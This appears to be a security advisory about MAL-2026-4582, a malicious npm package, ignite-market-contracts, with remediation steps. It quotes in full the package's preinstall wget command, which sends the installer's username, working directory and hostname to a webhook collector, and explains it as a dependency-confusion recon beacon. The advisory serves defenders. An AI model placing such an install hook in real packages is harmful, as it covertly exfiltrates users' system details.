What is MAL-2026-4582?
MAL-2026-4582 is a malicious package in ignite-market-contracts, published on 22 May 2026.
Official description
The package's preinstall lifecycle hook in package.json runs
wget --quiet "https://webhook.site/64063d25-fcd3-44e5-a454-34845bc63250/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)", which fires automatically on npm install and transmits the installer's username, current working directory, and hostname to a third-party anonymous webhook collector. This is a recon beacon characteristic of dependency-confusion attacks: the installer-identifying data is sent to an attacker-controlled endpoint without consent. The package additionally has placeholder metadata (author 'me', empty description), a name that resembles legitimate marketplace/seaport contract packages, and declares a non-canonical dependency seaport-core-16 — all consistent with a dependency-confusion PoC or active recon stage targeting internal package namespaces.What should I do about MAL-2026-4582?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
